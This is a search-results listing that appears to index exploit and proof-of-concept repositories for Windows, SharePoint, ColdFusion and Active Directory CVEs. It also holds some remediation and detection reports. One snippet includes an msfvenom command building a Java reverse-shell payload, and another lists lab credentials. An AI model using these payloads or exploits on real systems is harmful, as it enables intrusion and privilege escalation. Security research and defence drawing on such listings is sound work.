22345 matches found
CVE-2025-50154
NTLM/SMB Hardening & Threat Hunt Toolkit Author: w01f Version: 1.0 Purpose: Audit, harden, and hunt for insecure NTLM/SMB usage to mitigate risks such as CVE-2025-50154. CVE-2025-50154 Overview Severity: High Type: NTLM Credential Leak + Patch Bypass Zero-Click Affected: Windows 10/11, Windows...
CVE-2025-30397---Windows-Server-2025-JScript-RCE-Use-After-Free-
CVE-2025-30397---Windows-Server-2025-JScript-RCE-Use-After-Free Remote Code Execution via Use-After-Free in JScript.dll CVE-2025-30397 🧠 Description This repository contains a proof-of-concept PoC exploit for a Use-After-Free vulnerability in the JScript engine jscript.dll affecting Windows Serve...
CVE-2023-26360-RCE
CVE-2023-26360 - Remote Code Execution on ColdFusion 2021 Sometimes, the scripts don't work at first attempt. Try a few times to make it work How to execute Create a payload with msfvenom root@kitploit: msfvenom -p java/shellreversetcp LHOST=192.168.56.1 LPORT=4444 file.java Starting server.py Th...
cve-2023-29357-Sharepoint
CVE 2023 29357 Information SharePoint Target Windows Server 2016 with SharePoint 2019 root@kitploit: Login : FSI\Administrateur Password : Admin123! IP : 192.168.56.4 Hostname : WIN-HEVUJ4GJMA6 Attacker Lubuntu Version 22.04.3 root@kitploit: Login : fsi Password : Admin123! IP : 192.168.56.3...
printnightmare-detection-mitigation-lab
PrintNightmare Detection and Mitigation Lab A sanitised academic case study demonstrating how a Windows domain lab was designed, monitored and hardened while investigating CVE-2021-34527 PrintNightmare in a controlled virtual environment. Safety note: This repository focuses on systems...
ms08-067
📖 Overview This repository contains a Metasploit module implementation for the MS08-067 Windows Server Service vulnerability CVE-2008-4250. This is a classic remote code execution vulnerability affecting older Windows systems. 🛠️ Installation & Usage Prerequisites Kali Linux Metasploit Framework...
CVE-2020-0796-POC
CVE-2020-0796-POC 受影响系统版本 漏洞不影响win7，漏洞影响Windows 10 1903之后的各个32位、64位版Windows，包括家用版、专业版、企业版、教育版。 Windows 10 Version 1903 for 32-bit Systems Windows 10 Version 1903 for x64-based Systems Windows 10 Version 1903 for ARM64-based Systems Windows Server, Version 1903 Server Core installation Windows 10...
CVE-2022-26923-rayng
Exploiting CVE-2022-26923: Certificate Authority Privilege Escalation Overview CVE-2022-26923 is a vulnerability in Active Directory Certificate Services AD CS that allows an attacker to escalate privileges by misusing certificate-based authentication. This guide outlines the steps to exploit thi...
CVE-2021-34527
CVE-2021-34527 CVE-2021-34527 is a critical remote code execution and local privilege escalation vulnerability dubbed "PrintNightmare." Proof-of-concept exploits have been released Python, C++ for the remote code execution capability, and a C rendition for local privilege escalation. I had not se...
cve-2013-3900-remediation-report
Remediation Report: CVE-2013-3900 – WinVerifyTrust Vulnerability on Windows Server 2019 Azure VM Overview During a recent authenticated vulnerability assessment conducted using Tenable Nessus, CVE-2013-3900 was detected on a Windows Server 2019 virtual machine hosted in Microsoft Azure. This scan...
Assignement_3-CVE-2017-7269
CVE-2017-7269 Name : Killian Munt-Buron and Naji Ullah Abbasi Description of the CVE CVE-2017-7269 is a buffer overflow vulnerability in Microsoft Windows Server 2003 R2. The vulnerability is in the ScStoragePathFromUrl function in the WebDAV. This vulnerability allows to execute arbitrary code v...
ZeroLogon-CVE-2020-1472-lab
ZeroLogon-CVE-2020-1472 Explanation and demonstration of the ZeroLogon CVE-2020-1472 vulnerability The purpose of this lab is strictly educational. Its execution is not recommended in production environments or those that do not belong to you. About the Vulnerability Context of the vulnerability...
Remediating-CVE-2013-3900-EnableCertPaddingCheck-
Remediation Report: CVE-2013-3900 on Windows Server 2019 Azure VM Remediating CVE-2013-3900 EnableCertPaddingCheck During an authenticated vulnerability scan using Tenable/ Nessus, I identified CVE-2013-3900 on my Windows Server 2019 Datacenter instance hosted in Microsoft Azure. The scan utilize...
FalconFlank
FalconFlank Crowdstrike Falcon 0day Privilege Escalation Vulnerability FalconFlank is a 0day privilege escalation that abuses the office malicious macros remediation in Crowdstrike Falcon Sensor, obviously by the time I drop this Crowdstrike would already have detections for it so if you want to...
badsuccessor
BadSuccessor.py A penetration testing tool that exploits the dMSA delegated Managed Service Account privilege escalation vulnerability in Windows Server 2025 Active Directory environments. ⚠️ Legal Disclaimer This tool is for authorized penetration testing and security research purposes only. Use...
calebstewart-CVE-2021-1675
CVE-2021-1675 - PrintNightmare LPE PowerShell Caleb Stewart | John Hammond | 1 de julio de 2021 CVE-2021-1675 es una vulnerabilidad crítica de ejecución remota de código y escalada local de privilegios denominada "PrintNightmare". Se han publicado pruebas de concepto Python, C++ para la capacidad...
Windows Server Update Service - Insecure Deserialization
Windows Server Update Service contains an insecure deserialization vulnerability caused by deserialization of untrusted data. An unauthorized attacker with network access can exploit this to execute arbitrary code remotely, potentially leading to full system compromise. id: CVE-2025-59287 info:...
NPM: Next.js: Unauthenticated Remote Code Execution on windows-hosted servers
NPM: Next.js: Unauthenticated Remote Code Execution on windows-hosted servers vulnerability discovered by ? in WordPress Npm next versions = 13.4.0, 15.5.24...
